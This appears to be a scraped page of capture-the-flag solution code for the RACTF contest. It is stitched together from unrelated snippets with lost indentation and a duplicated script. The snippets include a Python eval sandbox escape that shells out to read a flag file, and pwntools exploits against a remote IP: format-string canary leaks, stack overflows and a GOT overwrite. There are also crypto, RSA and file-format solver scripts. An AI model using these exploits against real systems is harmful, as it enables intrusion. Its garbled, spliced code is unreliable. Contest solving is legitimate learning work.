Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
globals()['eval']('__builtins__.__import__("os").popen("cat /home/ractf/flag.txt").read()')t\x02\x83\x00t\x00de\x83\x01t\x00dv\x83\x01\x17\x00t\x00da\x83\x01\x17\x00t\x00dl\x83\x01\x17\x00\x19\x00t\x00d_\x83\x01t\x00d_\x83\x01\x17\x00t\x00db\x83\x01\x17\x00t\x00du\x83\x01\x17\x00t\x00di\x83\x01\x17\x00t\x00dl\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00di\x83\x01\x17\x00t\x00dn\x83\x01\x17\x00t\x00ds\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00d.\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00di\x83\x01\x17\x00t\x00dm\x83\x01\x17\x00t\x00dp\x83\x01\x17\x00t\x00do\x83\x01\x17\x00t\x00dr\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00d(\x83\x01\x17\x00t\x00d'\x83\x01\x17\x00t\x00do\x83\x01\x17\x00t\x00ds\x83\x01\x17\x00t\x00d'\x83\x01\x17\x00t\x00d)\x83\x01\x17\x00t\x00d.\x83\x01\x17\x00t\x00dp\x83\x01\x17\x00t\x00do\x83\x01\x17\x00t\x00dp\x83\x01\x17\x00t\x00de\x83\x01\x17\x00t\x00dn\x83\x01\x17\x00t\x00d(\x83\x01\x17\x00t\x00d'\x83\x01\x17\x00t\x00dc\x83\x01\x17\x00t\x00da\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00d \x83\x01\x17\x00t\x00d/\x83\x01\x17\x00t\x00dh\x83\x01\x17\x00t\x00do\x83\x01\x17\x00t\x00dm\x83\x01\x17\x00t\x00de\x83\x01\x17\x00t\x00d/\x83\x01\x17\x00t\x00dr\x83\x01\x17\x00t\x00da\x83\x01\x17\x00t\x00dc\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00df\x83\x01\x17\x00t\x00d/\x83\x01\x17\x00t\x00df\x83\x01\x17\x00t\x00dl\x83\x01\x17\x00t\x00da\x83\x01\x17\x00t\x00dg\x83\x01\x17\x00t\x00d.\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00dx\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00d'\x83\x01\x17\x00t\x00d)\x83\x01\x17\x00t\x00d.\x83\x01\x17\x00t\x00dr\x83\x01\x17\x00t\x00de\x83\x01\x17\x00t\x00da\x83\x01\x17\x00t\x00dd\x83\x01\x17\x00t\x00d(\x83\x01\x17\x00t\x00d)\x83\x01\x17\x00\x83\x01{
"one":["a"],
"two":["a"]
}Audio binary:1110010110000111000111110100110011011110111110110110100111001001100101110111101000001110100110100111011011100101010000011000101101111110100111100111111101
Final binary: 01110010 01100001 01100011 01110100 01100110 01111011 01110110 01101001 01100100 01100101 01101111 00100000 01110100 01101001 01101101 01100101 00100000 01100010 01101111 01101001 01110011 01111101line = "3282946335644699558189435884899687353523629389457657498967479814468744246854784782549811578682476928295219973364558494427246824175372137617396849156924966554778644466465867183879616532663854959912349565971143496784539461884465395667855913613882412968395979843391583773357999263422954543744884426783694985265817497557713861948844653995364979233942941962367133855971885784568161359941296179865536644568698393323163633136863669437249694575893478324639637512563779992399473669129638744382254568544172336998115993715854226496"
n = 2
c = ""
x = [line[i:i+n] for i in range(0, len(line), n)]
for i in range(len(x)//2):
b = i * 2
c += chr(int(x[b]) ^ int(x[b+1]))
print(c)➡️📼👁️📼📦🔨 - Read T0 into A, store in X.
➡️🎞️👁️🎞️ - Read T1 into A
🍴🔨📦⛏️ - AND A in place with X, store result in Y.
👁️🎞️ - Read T1 back into A
🎷🔨📦🔨 - OR A in place with X, store result in X
🦔🔨🦔⛏️ - DEC X, DEC Y
❔⛏️ - CMP Y 0
✉️😁😍🏷️ - JNE 1D (decrement phase - this makes a subtraction loop,
subtracting Y from X, and leaving result in X.)
🎁🔨📤 - Print X
➡️📼👁️📼⬅️📼 - Read the next char from T0 into A, move back.
❔🗃️ - CMP A 0 (is the tape empty)
✉️😀😀🏷️ - JNE 00
➡️🎞️👁️🎞️⬅️🎞️ - Read the next char from T1 into A, move back.
❔🗃 - CMP A 0 (same thing but makes sure both are empty
️✉️😀😀🏷️ - JNE 00
🗿 - HLTfrom pwn import *
import re
e = ELF("./fias")
#p = e.process()
p = remote('95.216.233.106',64832)
p.clean()
p.sendline("%11$p")
output = p.recvline().decode()
print(output)
leak = int(re.findall("Nice to meet you, (.*)!", output)[0], 16)
canary = leak
log.info(f"Canary: {hex(canary)}")
padding = b'A' * 25
payload = flat(padding, canary, b'A' * 12, e.symbols['flag'])
p.sendline(payload)
p.interactive()from pwn import *
import re
e = ELF("./fiap")
#p = e.process()
p = remote('95.216.233.106',22951)
p.clean()
leak = "%3$p.%11$p"
p.sendline(leak)
output = p.recvline().decode()
leaks = re.findall("Thank you, (.*)!", output)[0].split('.')
leaks = list(map(lambda x: int(x,16), leaks))
e.address = leaks[0] - 0x0000128f
canary = leaks[1]
log.info(f"Binary base: {hex(e.address)}")
log.info(f"Canary: {hex(canary)}")
padding = b'A' * 25
payload = flat(padding, canary, b'A' * 12, e.symbols['flag'])
p.sendline(payload)
p.interactive()from pwn import *
e = ELF("./nra")
def getproc():
return remote('95.216.233.106',43941)
#return e.process()
def write_fmt(string):
p = getproc()
p.sendline(string)
p.recvline()
out = p.recv()
p.close()
return out
auto = FmtStr(execute_fmt=write_fmt)
writes = {e.got['puts']: e.sym['flaggy']}
payload = fmtstr.fmtstr_payload(auto.offset, writes)
p = getproc()
p.sendline(payload)
p.interactive()import sys, os
sys.path.append(os.path.join(".", "pyREtic"))
from pyREtic import REpdb
REpdb.set_trace()
import meme_orig
meme_cipher = meme_orig.meme_cipherdef __setattr__(self,attr,value):
print(attr,value)
self.__dict__[attr] = valueglobal ttt
if ttt < 1:
ttt += 1
return "target_code"return "import time\nfor func in filter(lambda x: type(x) == type(owo), list(globals().keys)): print(func(),func);time.sleep(5)"undefined [16] __pyx_pw_3owo_1owo(void)
{
long *plVar1;
undefined8 in_RAX;
plVar1 = __pyx_n_u_T0YqVGBGJzZiLXYp;
*__pyx_n_u_apollo = *__pyx_n_u_apollo + 1;
*plVar1 = *plVar1 + 1;
_Py_NoneStruct._0_8_ = _Py_NoneStruct._0_8_ + 1;
_Py_XDECREF();
_Py_XDECREF(plVar1);
return CONCAT88(in_RAX,0xa7e160);
}undefined [16] __pyx_pw_3owo_45frag(void)
{
long *plVar1;
undefined8 in_RAX;
plVar1 = __pyx_kp_u_QVZHZUEqOnM;
*__pyx_n_u_rain = *__pyx_n_u_rain + 1;
*plVar1 = *plVar1 + 1;
_Py_NoneStruct._0_8_ = _Py_NoneStruct._0_8_ + 1;
_Py_XDECREF();
_Py_XDECREF(plVar1);
return CONCAT88(in_RAX,0xa7e160);
}undefined [16] __pyx_pw_3owo_31i3_tiling_wm(void)
{
long *plVar1;
undefined8 in_RAX;
plVar1 = __pyx_kp_u_ZGBXYmRbfXU;
*__pyx_n_u_champions = *__pyx_n_u_champions + 1;
*plVar1 = *plVar1 + 1;
_Py_NoneStruct._0_8_ = _Py_NoneStruct._0_8_ + 1;
_Py_XDECREF();
_Py_XDECREF(plVar1);
return CONCAT88(in_RAX,0xa7e160);
}from zlib import crc32
from pwn import p32
target = 0x5b8af030
header = "49 48 44 52 00 00 00 99 00 00 00 99 08 06 00 00 00".replace(' ', '').decode('hex')
def check_size(w,h, header):
w = p32(w)[::-1]
h = p32(h)[::-1]
header = header.replace("\x00\x00\x00\x99" + "\x00\x00\x00\x99", w+h)
if crc32(header) == target:
print(list(w),list(h))
for x in range(2000):
for y in range(2000):
check_size(x,y,header)INP: XXXXXXXXXXXX
OUT: ractf{XXXXX}
By reversing the function bit by bit, we can recover some of the input.
INP: 123412XXXXX4
OUT: ractf{XXXXX}
And finally, by extrapolating the pattern, we recover the full flag.
INP: 123412341234
OUT: ractf{C1Rc3}#script that will error but give flag
a = "41 36 37 27 35 38 55 30 40 47 35 34 43 35 29 32 38 37 33 45 39 30 36 27 32 35 36 52 72 54 39 42 30 30 58 27 37 44 72 47 28 46 45 41 48 39 27 27 53 64 32 58 43 23 37 44 32 37 28 50 37 19 51 53 30 41 18 45 79 46 40 42 32 32 46 28 37 30 43 31 26 56 37 41 61 68 44 34 26 24 48 38 50 37 27 31 30 38 34 58 54 39 30 33 38 18 33 52 34 36 31 33 28 36 34 45 55 60 37 48 57 55 35 60 22 36 38 34"
b = a.split(" ")
o = ""
for i in range(len(a)//4):
c = i * 4
d = int(b[c]) + int(b[c+1]) + int(b[c+2]) + int(b[c+3])
e = 255 - d
o += chr(e)
print(o)from zlib import crc32
from pwn import p32
target = 0x5b8af030
header = "49 48 44 52 00 00 00 99 00 00 00 99 08 06 00 00 00".replace(' ', '').decode('hex')
def check_size(w,h, header):
w = p32(w)[::-1]
h = p32(h)[::-1] header = header.replace("\x00\x00\x00\x99" + "\x00\x00\x00\x99", w+h)
if crc32(header) == target:
print(list(w),list(h)) for x in range(2000):
for y in range(2000):
check_size(x,y,header)import socket
from Crypto.Util.number import inverse, GCD
from Crypto.PublicKey import RSA
IP = '95.216.233.106'
PORT = 62467
def dosolve(val):
global cur
if val in cur.keys():
return cur[val]
if val == 'q' or val == 'p':
# Prime solving
# Pretend the prime we want is q and the prime we have is p every time for simplicity.
if 'q' in cur.keys():
cur['p'] = cur['q']
if 'n' in cur.keys():
return cur['n'] // cur['p']
elif 'phi' in cur.keys():
return (cur['phi'] // (cur['p'] - 1)) + 1
elif 'e' in cur.keys() and 'd' in cur.keys():
key = RSA.construct((cur['n'],cur['e'],cur['d']))
primes = [key.p,key.q]
primes.remove(cur['p'])
return primes[0]
elif val == 'd':
cur['p'] = dosolve('p')
cur['q'] = dosolve('q')
phi = (cur['p'] - 1) * (cur['q'] - 1)
d = inverse(cur['e'],phi)
return d
elif val == 'n':
cur['p'] = dosolve('p')
cur['q'] = dosolve('q')
return cur['p'] * cur['q']
elif val == 'ct':
cur['n'] = dosolve('n')
return pow(cur['pt'],cur['e'],cur['n'])
elif val == 'pt':
cur['d'] = dosolve('d')
cur['n'] = dosolve('n')
return pow(cur['ct'],cur['d'],cur['n'])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
s.setblocking(0)
buffer = b''
cur = {}
while True:
# Read until a prompt or line break
try:
chunk = s.recv(4096)
buffer += chunk
print(chunk.decode(), end='')
except BlockingIOError:
pass
if b'\n' not in buffer and not buffer.endswith(b': '):
continue
# Grab the oldest line
buffer = buffer.split(b'\n', 1)
if len(buffer) == 1:
line, buffer = buffer[0], b''
else:
line, buffer = buffer
# Llines start with [<code>]
if line[:1] != b'[':
continue
# Use slicing not indexing because indexing bytes returns ints
mode = line[1:2]
if mode == b'*':
...
elif mode == b'c':
cur = {}
elif mode == b':':
important = line[3:].decode().split(": ")
value = int(important[1])
cur[important[0].strip()] = value
elif mode == b'!':
print(line)
elif mode == b'?':
needed = line[3:].decode().split(": ")[0].strip()
if needed in cur.keys():
s.send(str(cur[needed]).encode() + b'\n')
continue
val = dosolve(needed)
print(val)
print(cur)
s.send(str(val).encode() + b'\n')
else:
...plain = b"To test the encryption service, encrypt this file with your company issued secret key and ensure that it results in the ciphertext.txt file."
import base64
enc = base64.b64decode(b"w4bDkMKDw6jDi8Ouw6JQw6jDh8OZwojCmMONw4nDnsKtwqnDk8OiwqLDosKdw6XDhsOVw6rDj8Oew5NcwpTDhMOiw4vCpcOYw5bDoFTCrcOHw6LCpsKUw6PDm8ONw4jClMOdw6TDosKYwpTDmMOjw53CpX/DicObwqHCqcOAw6fCrMKUw6bDpcOUw5jDmcOKwpvDocKVw5fDkcOZw5xTw4rDi8OlVMKaw43DnVPDmcOrw6XDlsOVw5nChsOvw5bCkcOof8Odw5xTw5HDi8OfwqnCpcOTw6xTw53Dq8KSw5XDi8OZwobDnsOXwqDDnMOEw6bDnMKYw5fDmsKawqjCscOTwpnCmcOdw6nDl8KP").decode().encode('latin-1')
def encrypt(num,key):
return (num + key) % 256
key = b""
for char in range(len(enc)):
for possible in range(256):
if enc[char] == encrypt(plain[char],possible):
key += bytes([possible])
break
print(key)
flagenc = base64.b64decode(b"w6TDgsOGw6jDjMO2w5RgwqTDi8OTw5Vmwr7CncOjZcKcwpLDmGjDnMKxw5/ClMOCwqTDlMOaw5tjw7E=").decode().encode('latin-1')
flag = b""
for char in range(len(flagenc)):
for possible in range(256):
if flagenc[char] == encrypt(possible,key[char]):
flag += bytes([possible])
break
print(flag)append(s^i)
s=s^i
append(s^j)
s=s^jp=8935533316664982385690426241789463156779334270200983340957286950060861311077151464930402912151709770833375547368974424564809135614170092179811531622097999
and
q=11379478034699907676633030046472807804044882783405443091999142030427354686298593670992789218031609011985520050382686352162426667346054932520656108554445759